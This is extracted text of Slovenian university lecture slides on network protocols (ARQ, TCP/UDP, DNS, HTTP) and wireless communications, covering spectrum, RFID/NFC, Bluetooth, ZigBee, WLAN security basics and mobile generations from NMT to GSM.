 rst, syn, fin 
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ARQ 
 Potrebujemo dupleksno povezavo in čakalne vrste za sporočila 
 Detekcijo napake zagotovimo redundatnim kodiranjem 
 Korekcijo izvedemo s ponovitvijo  

 ARQ – Automatic Repeat reQuest 

 
 
 
 
 
 
 
 

 Slabosti: 
 informacijska hitrost se (pri fiksni bitni hitrosti) zniža zaradi: 

 redundance za odkrivanje napak 
 potrditvenih sporočil 

 dodatno čakanje na potrditve 
 za potrditveni kanal ponavadi predvidevamo odsotnost napak 
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Primerjava TCP in UDP 
 Protokol UDP – preprost minimum 

 samo transportno naslavljanje: številke vrat 
 opcijsko preverjanje sporočila (checksum), 
 brez kontrole prometa, preobremenitev, 
 nezanesljiv, nepovezaven 
 ni zaporednosti  

 Protokol TCP – zanesljivost 
 stroga zanesljivost 
 stroga zaporednost 
 kontrola prometa, preobremenitev omrežja 
 bytno-tokovno orientiran (byte-stream) 



Internetne aplikacije 
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DNS – Domain Name Service 
 DNS je porazdeljena podatkovna baza, ki jo aplikacije TCP/IP uporabljajo: 

 za “pretvorbo” med imenom hosta in njihovo IP številko  
 dela v obe smeri 

 Porazdeljena baza: 
 “nihče ne pozna vsakogar” 
 izogib enojni točki odpovedi 
 odzivnost strežbe  
 upravljanje 

 Elementi strežbe DNS: 
 lokalni strežnik DNS (local DNS) 
 korenski strežnik DNS (root DNS) 
 pooblaščeni DNS (authoritive DNS) 

 Hierarhična struktura 
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Strežba DNS 

1

2 3

45

6

user.isp1.si gaia.cs.isp2.net

lokalni DNS
dns.isp1.si

korenski DNS

pooblaščeni DNS
dns.isp2.net

 Uporabnik user.isp1.si želi komunicirati s strežnikom 
gaisa.cs.isp2.net 

 1. user.isp1 kontaktira lokalni  
strežnik DNS dns.isp1.net 
 2. Lokalni strežnik DNS  
dns.isp1.net pošlje zahtevo  
korenskemu strežniku DNS (po potrebi) 
 3. Korenski strežnik posreduje  
zahtevo pooblaščenemu strežniku 
DNS dns.isp2.net (po potrebi) 
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Hierarhična struktura DNS 
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Domene 
 Domene – prepoznavni naslovi 

 imenski prostor je organiziran hierarhično (fe.uni-
lj.si) 

 vrhnja domena (TLD) .si, .at, .com, .net 
 poddomena pod vrhnjo domeno (SLD), uni-lj.si 

 Vrhnje domene 
 gTLD - generic TLD 

 .com, .net, .org, … 
 http://rs.internic.net/ 

 ccTLD - country code TLD 
 ISO 3166 lista dvočrkovnih državnih oznak 
 .si, .ca, .fr, .nl, .de ... 

 nTLD - new TLD 
 .biz, .info 
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HTTP 

 HTTP – spletni protokol aplikacijskega sloja 
 Angl. HyperText Transfer Protocol 
 RFC 1945 in RFC 2616 
 Implementiran v: 

 odjemalski program 
 strežnikški program  

 Uporablja protokol TCP za transport 
 Namen: prenos raznovrstnih dokumentov (tekst, slike, avdio, video) 

Strežnik 
HTTP 

Odjemalec 
HTTP 

HTTP HTTP 
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HTML 
<head> 

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-

1" /> 

<title>Jaka Javornik, LTFE</title><style type="text/css"> 

<!-- 

body { 

 margin-left: 0px; 

 margin-top: 0px; 

 margin-right: 0px; 

 margin-bottom: 0px; 

Osnovna HTML datoteka kaže na ostale 
objekte na strani. 

 Spletna stran (tudi “html dokument”)  
 Spletna stran je sestavljena iz objektov: 

 HTML datokeka 
 JPEG slika 
 GIF slika 
 JAVA applet 
 Avdio datoteka 
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Delovanje zahteve HTTP in poizvedbe DNS 

Internet 

WEB-strežnik 
npr. dl.ltfe.org 
(193.2.90.80) Strežnik DNS 

npr. ninurta.fe.uni-lj.si 
(193.2.72.1) 

Uporabnik 

1. Uporabnik vnese URL  
(dl.ltfe.org/index.html) 

2. Zahteva za naslov IP, 
strežnik DNS vrne naslov  

zahtevanega WEB-strežnika 
(193.2.90.80) 

3. Program vzpostavi 
povezavo TCP na vrata 80 

4. Program pošlje “GET /index.html”, strežnik 

vrne vsebino datoteke “index.html”, TCP 
povezava se nato prekine (ne velja za 1.1!) 

5. Program prikaže vsebino 
datoteke “avtorji.html” 



URL in statusne kode pri HTTP 
 URL: 

 http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]  
 Statusne kode: 

 1xx Informational  
 2xx Success  
 3xx Redirection  
 4xx Client Error  
 5xx Server Error 
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BrezBrezžžiiččne komunikacijene komunikacije

Predmet: Komunikacijski sistemi

as. mag. Andrej Štern

Univerza v Ljubljani

Fakulteta za elektrotehniko

Laboratorij za telekomunikacije
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UvodUvod

� Prvi enostavni prenosi so bili brezžični

� ogenj in dim (velike razdalje)

� bobni, kriki (manjše razdalje)

� ogledala, zastave (vidna razdalja)

� kurirska pošta (doseg ljudi, živali)

� Doba elektrotehnike in telekomunikacij

� 1800: izum prve Zn-Cu baterije (Alessandro Volta)

� 1837: uporaba telegrafa (Samuel Morse)

� 1873: razvoj tehničnih osnov radia

� Maxwell, Hertz, Tesla, Marconi ...

� 1894: prva radijska komunikacija na > 100m

� 1906: prva oddaja AM radia (Fessenden)

� 1991: prvi sistemi GSM v Evropi (Finska) Martin Cooper (1973)
Prvi mobilni telefon

Mario Osana (1928)
Radio Slovenija
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Vloga brezVloga brezžžiiččnega povezovanjanega povezovanja

� Pomen brezžičnosti

� poenostavitev povezovanja

� premagovanje fizičnih ovir

� zagotavljanje globalnega pokrivanja

� boljša uporabniška izkušnja

� pospeševanje razvoja informacijske družbe

� Najpogostejši izzivi

� zasedenost spektra

� motnje pri prenosu

� domet komunikacije

� hitrost prenosa podatkov

� varnost komunikacije

� komunikacijska oprema
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BrezBrezžžiiččni medijni medij

� Mehansko valovanje

� zvok se kot motnja širi v dani snovi

� hitrost širjenja odvisna od trdnine, kapljevine ali plina

� za širitev je snov nujno potrebna, v vakuumu komunikacije ni

� slabljenje zvoka med govorcema na 100m znaša 107,5 dB

� koristna uporaba visokih zvočnih frekvenc (sonar: 200kHz, medicina: 0,2-15MHz)

� Elektromagnetno valovanje

� nesnovno valovanje električnih veličin (napetost, tok)

� hitrost širjenja odvisna od lomnega količnika “n”

� v snovi se spremenita hitrost in valovna dolžina, frekvenca ne

� hitrost svetlobe v praznem prostoru znaša c0=2,9979246*108m/s

� od Zemlje do Lune: 1,3s

� od Sonca do Zemlje: 8,3min

� vidna svetloba je le delček elektromagnetnega spektra

� precej nad radijskim spektrom

343zrak

≈0vakuum

1497voda

3100beton

4500les

5300steklo

5950železo

v [m/s]Snov

1vakuum

1.0003zrak

1.33voda

1.52steklo

1.635asfalt

2.6svinec

nSnov

c0 ≈ 1,08 mrd km/h
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Prikaz razpoloPrikaz razpoložžljivega spektraljivega spektra

� Delitev področja od 0 do 1026 Hz

� ionizirajoči žarki

� povzročajo razbitje molekul, spremembe DNA zapisa

� (ne)vidna svetloba

� zelo visoke frekvence reda 1015 Hz (1.000.000 GHz)

� radijsko področje

� kjer je mogoče vzbuditi EMV z antenami in izmeničnim električnim tokom

Ne-ionizirajoče
sevanje

Ionizirajoče
sevanje

Radijske frekvence (RF)

GSM
UMTSFMAM SAT

TV

Infra-rdeča
svetloba

Vidni 
spekter

Ultra-vij.
svetloba X-žarki Gama-žarki

Dušenje radijskega spektra

700 - 400nm
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Namenska raba frekvenNamenska raba frekvenččnega spektranega spektra

Vir: http://www.tra.gov.eg/EgyAllocChart.pdf

GSM 900 GSM 1800 UMTS WLAN, BT, ZB

WiMAX, LTE WLAN 5GHz
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Zmogljivost prenosnega kanalaZmogljivost prenosnega kanala

� Kdaj prenesemo več podatkov

� če prenašamo dlje časa na širšem pasu z večjo močjo

� Kako več uporabnikov navidezno hkrati prenaša podatke

� FDMA - frekvenčni sodostop (Frequency Division Multiple Access)

� TDMA - časovni sodostop (Time Division Multiple Access)

� CDMA - kodni sodostop (Code Division Multiple Access)

B

T

I

S

I = T××××B××××S

Zmogljivost prenosa informacij:

� T - Čas

� B - Pasovna širina (frekvenca)

� S - Razmerje signal/šum (moč)









+⋅=

N

S
BC 1log

2

Shannon - zmogljivost zveze [bit/s]
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Primer komunikacijskega sistemaPrimer komunikacijskega sistema

IZVOR
INFORMACIJE

IZVORNI
KODIRNIK

KANALSKI
KODIRNIK

KANALSKI
DEKODER

PONORNI
DEKODER

PONOR
INFORMACIJE

PRENOSNI
KANAL

MODULATOR

DE-
MODULATOR

Govor,
glasba,
slike,
video,

podatki

WAV,
MP3,

JPEG,
DivX,
ZIP

robustnost,
redundanca,
priprava na

lastnosti
prenosnega

kanal

AM/FM,
QPSK,

QAM64,
kHz, MHz,

GHz

izgube,
lom,
uklon,
presih,
presluh,
šum,
interferenca

Električni tok EMV

� Relacija izvor - oddajnik - kanal - sprejemnik - ponor

� izločanje irelevance (izvorno kodiranje: kompresija)

� dodajanje redundance (kanalsko kodiranje: zaščita)

� moduliranje (modulator: premik na višjo frekvenco)

� prenosni kanal (izsevanje EMV iz antene)
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Dosegljivost storitev vedno in povsodDosegljivost storitev vedno in povsod

� Konvergenca omrežnih tehnologij

� integracija fiksnih in mobilnih omrežij

� raznolike karakteristike

� pokritost območja

� hitrost komunikacije

� kapaciteta omrežja

� cena komunikacije

� nabor storitev

V regiji / državi

V mestu

V naselju

Znotraj stavb

Angl. Seamless Mobility
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Mobilnost in Mobilnost in šširokopasovnostirokopasovnost

CILJ

3G LTE

F
ik

sn
a

P
eš

ci
V

o
zi

la

Mobilnost / doseg

Znotraj hiše

Pešci

Vozilo na 
hitri cesti

Vozilo na 
deželi

Osebno okolje

Vozilo v 
mestu

Mestno okolje

Teoretična hitrost 10 Mbit/s0,1 1

HSxPA

IE
E

E
8
0
2
.1

6
e

Nomadska 
uporaba

WLAN
(IEEE 802.11x)

GSM
GPRS

DECT

BLUETOOTH v1.2

3G
WCDMA

TD-CDMAEDGE

F
lash

O
F
D

M

100

HSPA+

4G
LTE advanced

1000

IEEE
802.16d

UWB
ZigBee

� Izbira kompromisa med mobilnostjo in zmogljivostjo

� pričakovanja novih tehnologij in tehnoloških pristopov (OFDM, MIMO ...)
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Umestitev tehnologij WBANUmestitev tehnologij WBAN

Stacionarni domet: do 100 km, tip. 30 km

Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km

Hitrost: do 21.6 Mbit/s HSPA+

Celično globalno pokrivanje

Operatersko okolje

Stacionarni in mobilni

domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s

Operatersko okolje

Nomadsko: do 500 m

Hitrost: do 150 (600) Mbit/s

Lokalno pokrivanje
Brezplačna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)

Osebno pokrivanje, brezplačno

Bližina telesa: do 10 cm

aktivni RFID: do 50 m

Hitrost: do 424 kbit/s

Stacionarni in mobilni domet: nekaj 1000 km

Različne hitrosti: kbit/s do nekaj 10 Mbit/s

Pokrivanje s sateliti LEO, MEO in GEO

WPAN

WMAN

WWAN

WLAN

IEEE 802.15
Bluetooth

IEEE 802.11

Wireless LAN

IEEE 802.16

Wireless MAN

MMDS, LMDS

IEEE 802.20

Mobile Broadband

Wireless Access (MBWA)

ETSI

HIPERLAN

ETSI HIPERMAN

& HIPERACCESS

3GPP, 3GPP2

GSM, UMTS, HSxPA,

HSPA+, LTE, LTE-Advanced

WRAN

IEEE 802.22 Wireless 

Regional Area Networks 

ZigBee
UWB

WBAN
RFID NFC

WGAN

BGAN Broadband Global

Area Networks 
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Pasivni RFIDPasivni RFID

� Pasivne oznake nimajo lastnega napajanja

� izkoriščajo energijo, pridobljeno s strani čitalca

� zahteva dolgo sprejemno anteno

� tehnologija odboja prejete energije

� manjši domet

� LF (125 kHz) in HF (13,56 MHZ) do 1 m

� UHF (865 – 965 MHz) do 10 m

� Točke z nameščenimi čitalci

� beleženje prisotnosti in kontrola dostopa

� označevanje inventarja

� sistemi proti kraji

� avtomati za pijačo/hrano

� zagon avtomobila

RFID čitalec 
(angl. reader)

RFID oznaka 
(angl. tag)
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Aktivni RFID Aktivni RFID 

� Oznake aktivnega RFID so baterijsko napajane

� povečan domet do nekaj 10 (100) m

� tipična avtonomnost naprav > 5 let

� višje prenosne hitrosti

� možen centralen odjem

� možnost neodvisnega delovanja

� Nekatere slabosti 

� stroškovno dražja izvedba

� naprava je večja in težja

� prazna baterija povzroča težave

� Primeri aktivnega RFID

� mikrovalovno cestninjenje, nadzor gibanja

� lociranje uporabnikov in inventarja
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RFID RFID -- NFCNFC

� NFC - Near Field Communication

� podzvrst tehnologije RFID

� čitalec in oznaka v isti napravi - telefonu

� komunikacija do 10 cm

� večja varnost prenosa podatkov

� doseganje hitrosti do 424 kbit/s

� uporaba NFC profilov

� avtomatizacija rokovanja s telefonom

� Omogočanje novih storitev

� Touch-and-Go (vstopnice)

� Touch-and-Confirm (plačilo)

� Touch-and-Connect (vizitke)

� Touch-and-Explore (informacije)
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Umestitev tehnologij Umestitev tehnologij WPANWPAN

Stacionarni domet: do 100 km, tip. 30 km

Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km

Hitrost: do 21.6 Mbit/s HSPA+

Celično globalno pokrivanje

Operatersko okolje

Stacionarni in mobilni

domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s

Operatersko okolje

Nomadsko: do 500 m

Hitrost: do 150 (600) Mbit/s

Lokalno pokrivanje
Brezplačna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)

Osebno pokrivanje, brezplačno

Bližina telesa: do 10 cm

aktivni RFID: do 50 m

Hitrost: do 424 kbit/s

Stacionarni in mobilni domet: nekaj 1000 km

Različne hitrosti: kbit/s do nekaj 10 Mbit/s

Pokrivanje s sateliti LEO, MEO in GEO

WPAN

WMAN

WWAN

WLAN

IEEE 802.15
Bluetooth

IEEE 802.11

Wireless LAN

IEEE 802.16

Wireless MAN

MMDS, LMDS

IEEE 802.20

Mobile Broadband

Wireless Access (MBWA)

ETSI

HIPERLAN

ETSI HIPERMAN

& HIPERACCESS

3GPP, 3GPP2

GSM, UMTS, HSxPA,

HSPA+, LTE, LTE-Advanced

WRAN

IEEE 802.22 Wireless 

Regional Area Networks 

ZigBee
UWB

WBAN
RFID NFC

WGAN

BGAN Broadband Global

Area Networks 
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Uporabnost tehnologijUporabnost tehnologij WPANWPAN

� Brezžična osebna omrežja (Wireless Personal Area Networks)

� prenos informacij v zaprtem osebnem krogu na razdalji (nekaj) 10 metrov

� neposredne (ad-hoc) povezave naprav v radijskem dosegu

� uporaba ne zahteva posebne komunikacijske infrastrukture (npr. AP)

� tipično brez povezljivosti navzven (npr. v internet)

� možni dodatni vmesniki (prehodi) med WPAN in drugimi tehnologijami
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Bluetooth Bluetooth -- IEEE 802.15.1IEEE 802.15.1

� Prvi razširjeni predstavnik družine WPAN

� varna brezžična tehnologija za povezovanje različnih naprav

� asimetrične hitrosti do 2,1 Mbit/s od različice 2.0 (EDR) naprej

� simetrični kanali 64 kbit/s za prenos zvoka (BT slušalke)

� uporaba uporabniških profilov

� Headset Profile (HSP)

� Human Interface Device Profile (HID)

� Serial Port Profile (SPP)

� razvoj nizko-energijske različice (BLE)

� konkurenca RFID in ZigBee

� namenjen zgolj prenosu podatkov

� nižje hitrosti (do 200 kbit/s)
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Osnovna topologija Osnovna topologija omreomrežžjaja

� Piconet

� en pikonet sprejme največ 1 gospodarja in 7 aktivnih odjemalcev

� podatki se prenašajo samo med gospodarjem in odjemalcem in ne med odjemalci 

� možna avtomatska vzpostavitev povezave, ko pride odjemalec v doseg zveze

� značilnosti fizičnega kanala so določene s pomočjo naslova gospodarja

� vzorec skakanja vseh naprav v pikonetu je enak in določen iz 48-bitnega naslova

Status 
naprav:

M=Master

S=Slave

P=Parked

SB=Standby

M
S

P

SB

S

S

P

P

SB
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Povezovanje in stanja napravPovezovanje in stanja naprav

CONNECTED

PARK

TRANSMIT

PAGEINQUIRY

STANDBY

SNIFFHOLD

V pripravljenosti

Iskanje  in 
vzpostavitev

Aktivno stanje

Varčevanje z 
energijo

Sprosti aktiven 
naslov, ostane 
sinhroniziran na 
beacon, posluša 
broadcast oddaje.

ACL link se ustavi, 
SCO je še vedno 
podprt. Sprosti 
kapaciteto za 
poizvedbo, klic in 
druge piconete.

Stanje zmanjšanega 
poslušanja piconeta.

Kdo ima 
Bluetooth
vklopljen?

Kaj ta 
naprava 

zna?
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ZigBee ZigBee -- IEEE 802.15.4IEEE 802.15.4

� Tehnologija kratkega dometa z veliko uporabnostjo

� enostavnejša in cenejša od razširjene različice Bluetooth 2.1

� Lastnosti tehnologije

� nizka poraba energije

� nizke podatkovne hitrosti (20-250 kbit/s)

� podpora različnim omrežnim topologijam

� visoka stopnja robustnosti

� Tipična uporaba

� povezovanje senzorjev, ad-hoc komunikacija
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Topologije omreTopologije omrežžja ja ZigBeeZigBee

Razvejano drevo
“Cluster Tree”

Mreža

“Mesh”

Zvezda

“Star”

� Podpora razvejanim omrežjem

� zvezda - enostavna centralizirana topologija brez redundantnih povezav

� razvejano drevo - hierarhično centralizirana topologija brez redun. povezav

� mreža - delno / polno povezano decentralizirano omrežje z red. povezavami

ZB koordinator / FFD

ZB usmerjevalnik / FFD

ZB končna naprava / RFD
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Druge reDruge reššitve kratkega dosegaitve kratkega dosega

� Uporaba komunikacijskih modulov za vgrajene sisteme

� tipične frekvence 433 MHz, 868 MHz in 2,4 GHz

� programska nastavitev frekvence

� hitrosti nastavljive do 115,2 kbit/s (in več)

� domet nekaj 100 m na prostem

� tipična vodila: SPI, RS-232

� izhod RSSI (prikaz moči signala)

� Primeri enostavne uporabe
Uporaba modulov za kodirano 

krmiljenje relejev (cena ~ 5 - 10€) Uporaba modulov TRX za podatkovni 
prenos do 115,2 kbit/s (cena ~ 5 - 10€)

Uporaba razvojnih plošč Arduino z 
raznimi moduli RF (cena > 20€)
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Umestitev tehnologij Umestitev tehnologij WLANWLAN

Stacionarni domet: do 100 km, tip. 30 km

Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km

Hitrost: do 21.6 Mbit/s HSPA+

Celično globalno pokrivanje

Operatersko okolje

Stacionarni in mobilni

domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s

Operatersko okolje

Nomadsko: do 500 m

Hitrost: do 150 (600) Mbit/s

Lokalno pokrivanje
Brezplačna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)

Osebno pokrivanje, brezplačno

Bližina telesa: do 10 cm

aktivni RFID: do 50 m

Hitrost: do 424 kbit/s

Stacionarni in mobilni domet: nekaj 1000 km

Različne hitrosti: kbit/s do nekaj 10 Mbit/s

Pokrivanje s sateliti LEO, MEO in GEO

WPAN

WMAN

WWAN

WLAN

IEEE 802.15
Bluetooth

IEEE 802.11

Wireless LAN

IEEE 802.16

Wireless MAN

MMDS, LMDS

IEEE 802.20

Mobile Broadband

Wireless Access (MBWA)

ETSI

HIPERLAN

ETSI HIPERMAN

& HIPERACCESS

3GPP, 3GPP2

GSM, UMTS, HSxPA,

HSPA+, LTE, LTE-Advanced

WRAN

IEEE 802.22 Wireless 

Regional Area Networks 

ZigBee
UWB

WBAN
RFID NFC

WGAN

BGAN Broadband Global

Area Networks 
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Arhitektura in gradniki Arhitektura in gradniki WLANWLAN--omreomrežžijij

� Osnovni gradniki arhitekture

� distribucijsko omrežje

� dostopovne točke

� repetitorji in mostovi

� terminalna oprema

LAN segment A

LAN segment B

LAN segment C

Premoščevalnik

(angl. bridge root)

Premoščevalnik

(angl. bridge mixed-mode)

Premoščevalnik
(angl. bridge non-root)

Ponavljalnik

(angl. repeater)

AD-HOC

STA

STA

STA

STA
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BrezBrezžžiiččni usmerjevalnikni usmerjevalnik

� Kaj vsebuje brezžični usmerjevalnik (angl. wireless router)

� usmerjevalnik s storitvami: NAT, DHCP, požarni zid, prehod, filtriranje

� stikalo (angl. switch): razdeljuje promet znotraj enega omrežja LAN

� dostopovna točka (angl. access point): omogoča brezžični podaljšek LAN

WAN

LAN

WLAN
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Oznaka omreOznaka omrežžja SSIDja SSID

� Uporaba SSID

� oznaka omrežja (Service Set IDentifier)

� priporočilo: takojšnja sprememba privzetih vrednosti

� poimenska ločitev omrežij WLAN

� možno povezovanja več omrežij v eno

� uporabno za odkrivanje omrežij in povezovanje

� dodajanje na “trajni” seznam uporabe

� možnost skrivanja SSID (še vedno se oddaja!)

� Načini vnosa SSID v terminalno opremo

� avtomatsko pri odkrivanju (oglaševan SSID)

� ročno z vnosom v okno (SSID skrit, a poznan)

� z opazovanjem prometa na kanalu (SSID nepoznan)

Vir: http://www.wigle.net/gps/gps/main/ssidstats
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Odkrivanje omreOdkrivanje omrežžja WLANja WLAN

� Funkcija “išči omrežja”

� poslušanje (pasivno odkrivanje)

� uporabniška postaja preleti seznam vseh kanalov

� na vsakem posluša določen čas in čaka na svetilnik (beacon)

� poizvedovanje (aktivna zahteva)

� uporabniška postaja preleti seznam vseh kanalov

� na vsakem odda zahtevo (probe) po podatkih morebitne AP

Pasivno

TE

AP-CH1

AP-CH11

AP-CH5
Beacon

B.

B.

Aktivno

TE

AP-CH1

AP-CH11

AP-CH5

Probe

P.

P.
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Primer pokritosti Ljubljane/FEPrimer pokritosti Ljubljane/FE

Wireless Geographic Logging Engine
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RazliRazliččice WLAN tehnologijice WLAN tehnologij

� 802.11b

� prenosne hitrosti 1, 2, 5.5 in 11 Mbit/s

� uporaba razširjenega spektra DSSS s širino 22 MHz

� 13 različnih kanalov na 2,4 GHz ISM področju

� 802.11g

� prenosne hitrosti do 54 Mbit/s

� boljša izkoriščenost spektra na 2,4 GHz z OFDM

� združljivost nazaj z različico 802.11b

� 802.11n

� od 72,2 do 600 Mbit/s z združevanjem širših kanalov OFDM

� uporaba večih anten za vzporedne neodvisne prenose

� možna uporaba na 2,4 in 5 GHz področju

� povečan domet
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Tedensko povpreTedensko povpreččje spektra na 2,4 je spektra na 2,4 GHzGHz

Meritev:
- center Londona
- tedensko povprečje
- frekvenca 2,45 GHz

Rezultati:

- visoki nivoji mikroval. 
pečic v času dnevnih 
obrokov

- opazne špice
detektorjev gibanja

- ponavljajoč dnevni 
vzorec

- povprečna zasedenost 
spektra 5-10 % (se viša!)
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Primer analize zasedenosti omrePrimer analize zasedenosti omrežžjaja

� Program “inSSIDer” in vidni spektri

� 802.11b

� 802.11g

� 802.11n

Program Wifi Analyzer na 

OS Android
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Osnovni pristopi k (ne)varnostiOsnovni pristopi k (ne)varnosti

� Izklop oglaševanja SSID

� nastavitev: “Wireless SSID Broadcast: Disable”

� skrivanje pred javnim prikazom v seznamih odkrivanja

� priključi se lahko le tisti, ki ime omrežja pozna

� izkušeni uporabniki: radijski promet razkriva SSID

� Filtriranje naslovov MAC 

� nastavitev: “Permit only PCs listed to access the wireless network.”

� dostop omogočen le določeni strojni opremi iz seznama naslovov MAC

� izkušeni uporabniki: spremljajo radijski promet, ki razkriva MAC uporabnikov

� številka MAC se lahko “izposodi” oz. ustrezno prilagodi

� Omejitev dinamičnega dodeljevanja IP

� nastavitev: “Maximum Number of DHCP Users”

� dostop omogočen le določenemu številu računalnikov

� uporabno pri enem uporabniku
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WEPWEP

� Osnovni način šifriranja

� uporaba statičnih ključev

� šibki mehanizmi varovanja

� danes praktično neuporaben

� Dokazane slabosti

� za 24-bitni IV obstoja 50 % 

verjetnost, da se ponovi po 

5000 paketih pri 224 kombinacij

Raziskovalci so uspeli 104-bitni WEP (oz. 128-bitni WEP) v 50 odstotkih primerov razbiti z manj 
kot 40.000 paketkov (kar znaša dobrih 1,6 Mb podatkov). Za 95-odstotni uspeh pri razbijanju pa 
je potrebno zbrati 85.000 paketkov (dobre 3,5 Mb podatkov). Poleg tega je čas "zbiranja" 
paketkov mogoče pospešiti oz. skrajšati na manj kot minuto z vrivanjem ARP in TCP ACK 
paketov, kar omogočajo številna vdiralska orodja, npr. Airtools.
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WPA in WPA2WPA in WPA2

� WPA (Wi-Fi Protected Access)

� zgodnja različica varnostnega standarda 802.11i (2002)

� razvoj pod WiFi Alliance kot začasno nadomestilo za šibki WEP

� uporaba procesorsko manj zahtevnih algoritmov (Firmware upgrade)

� možnosti avtentikacije

� statičen bazni ključ - “WPA-Personal”

� dinamičen bazni ključ - “WPA-Enterprise” z 802.1x

� dinamična menjava šifrirnih ključev (TKIP)

� WPA2 (WPA druge generacije)

� standard WPA2 ratificiran leta 2004

� naslednik vmesne “začasne” različice WPA1

� obvezno spoštovanje priporočil standarda 802.11i

� najbolj varna izbira WPA2-PSK AES (Advanced Encryption Standard)
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Primer naPrimer naččrtovanja povezave WLANrtovanja povezave WLAN

Izračun za 2,4 Ghz, 500 m, 5 m kabla, 2 × yagi antena

Vir: http://www.qsl.net/pa0hoo/helix_wifi/linkbudgetcalc/wlan_budgetcalc.html
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Umestitev mobilnih tehnologijUmestitev mobilnih tehnologij

Stacionarni domet: do 100 km, tip. 30 km

Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

Mobilni domet: do 35 km, tip. 5 km

Hitrost: do 21.6 Mbit/s HSPA+

Celično globalno pokrivanje

Operatersko okolje

Stacionarni in mobilni

domet: do 50 km, tip. 5 km
Hitrost: 5 - 75 Mbit/s

Operatersko okolje

Nomadsko: do 500 m

Hitrost: do 150 (600) Mbit/s

Lokalno pokrivanje
Brezplačna uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1 Gbit/s)

Osebno pokrivanje, brezplačno

BliBližžina telesa: do 10 cmina telesa: do 10 cm

aktivni RFID: do 50 maktivni RFID: do 50 m

Hitrost: do 424 Hitrost: do 424 kbitkbit/s/s

Stacionarni in mobilni domet: nekaj 1000 km

Različne hitrosti: kbit/s do nekaj 10 Mbit/s

Pokrivanje s sateliti LEO, MEO in GEO

WPAN

WMAN

WWAN

WLAN

IEEE 802.15
Bluetooth

IEEE 802.11

Wireless LAN

IEEE 802.16

Wireless MAN

MMDS, LMDS

IEEE 802.20

Mobile Broadband

Wireless Access (MBWA)

ETSI

HIPERLAN

ETSI HIPERMAN

& HIPERACCESS

3GPP, 3GPP2

GSM, UMTS, HSxPA,

HSPA+, LTE, LTE-Advanced

WRAN

IEEE 802.22 Wireless 

Regional Area Networks 

ZigBee
UWB

WBAN
RFID NFC

WGAN

BGAN Broadband Global

Area Networks 
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BrezBrezžžiiččnostnost in mobilnostin mobilnost

� Brezžičnost

� komunikacija brez uporabe žic

� ostajajo napajanje, antenski vodi, interna vodila

� uporaba radijskega ali optičnega spektra

� širok nabor uporabnih frekvenc

� scenariji uporabe

� fiksna, nomadska ali mobilna

� Mobilnost

� komuniciranje med premikanjem

� predaja zveze brez prekinitve po širšem območju

� zagotavljanje globalne pokritosti

� razdelitev na celice, ki pokrivajo prebivalstvo

� primer Mobitel: 99,7% prebivalstva in 85,09% ozemlja

� zgolj prostrana omrežja (WAN)

Fiksna

uporaba

Nomadska 
uporaba

Mobilna
uporaba
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Generacije mobilnih tehnologijGeneracije mobilnih tehnologij

� Predstavniki generacij

� 0G (pred-1G): MTS, IMTS, ARP, B-Netz

� 1G: NMT, AMPS, TACS, ETACS, JTACS, UTACS

� 2G: GSM, CSD, D-AMPS, IS-95/cdmaOne, PDC

� 2.5G: GPRS, HSCSD, EDGE

� 3G: W-CDMA, TD-CDMA, FOMA 

� 3.5G: HSDPA, HSUPA

� 3.75G: HSPA+

� 3.9G: LTE

� 4G: LTE Advanced

� Zanimivosti

� 1984: Prvi prenosni mobilni NMT telefon (Nokia)

� 1987: Pojav prvih žepnih telefonov s težo, manjšo od 1 kg
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Pokritost ozemlja Pokritost ozemlja 
s signalom NMTs signalom NMT

(Vir: (Vir: MobitelMobitel, 2005), 2005)

Prvi sistem mobilne telefonije v SLOPrvi sistem mobilne telefonije v SLO

� NMT - Nordic Mobile Telephony

� delovanje omrežja 14 let (1991 do 2005)

� ugašanje pri 40.000 uporabnikih in pokritosti 98,9% prebivalstva 31.12.2005

� postavitev na višinskih točkah (oddajniki RTV)

� večje oddajne moči terminalov do 20 W z dometi tudi do 100 km

� pokrivanje nekaterih predelov, kamor GSM signal ne seže

� zmanjšana kapaciteta sistema zadostuje takratni rabi

� končna postavitev je zajemala več kot 180 lokacij (220 celic)

� analogen sistem FM/FDMA na 420 MHz

� Redki terminali

� cena 2k-8k DEM

� prevozni

� prenosni

� (skoraj) žepni
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OmreOmrežžje GSMje GSM

� GSM - globalni sistem s številnimi prednostmi 

� osebna prenosljivost – identifikacija s kartico SIM

� v katerem koli omrežju in s katerim koli terminalom

� terminalna prenosljivost – možnost uporabe kateregakoli terminala

� v katerem koli omrežju in s katero koli kartico SIM

� Digitalizacija komunikacije

� povečanje zaščite proti zlorabam

� večja kapaciteta sistema

� veliko novih storitev

� SMS sporočila

� višji prenos podatkov

� boljši prenos govora

� mobilni faksimile

� identifikacija klica

Pokritost prebivalstva s 
signali GSM (99,7%)

Vir: Mobitel, 
maj 2011

Začetek EU: 1991
Začetek SLO: 1996
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Princip Princip celiceliččnostinosti

� Omrežje GSM ima na voljo omejeno število kanalov oz. frekvenc

� na 900 MHz pasu je na voljo skupaj 175 kanalov

� delitev med tri operaterje (Mobitel: 62, Simobil: 62, Tušmobil: 50)

� motnje med sosednjimi celicami

� frekvence se v isti in sosednjih celicah ne ponavljajo

� povprečna raba cca. 3 frekvence na celico = 22 uporabnikov

� reševanje problema kapacitet z velikostjo celic

� modeliranje celičnega omrežja

� teoretični model: šestkotniki, 6+1

� praktični: statistične meritve, različne velikosti

A

G

F

E

C

D

B

G

F

E

C

